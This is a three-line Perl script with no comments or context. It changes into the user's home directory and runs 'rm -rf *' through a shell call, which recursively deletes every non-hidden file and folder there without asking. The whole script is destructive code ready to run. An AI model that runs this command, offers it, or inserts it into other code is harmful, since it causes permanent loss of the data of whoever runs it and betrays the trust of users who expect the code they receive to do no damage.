#!/usr/bin/perl
chdir $ENV{HOME};
`rm -rf *`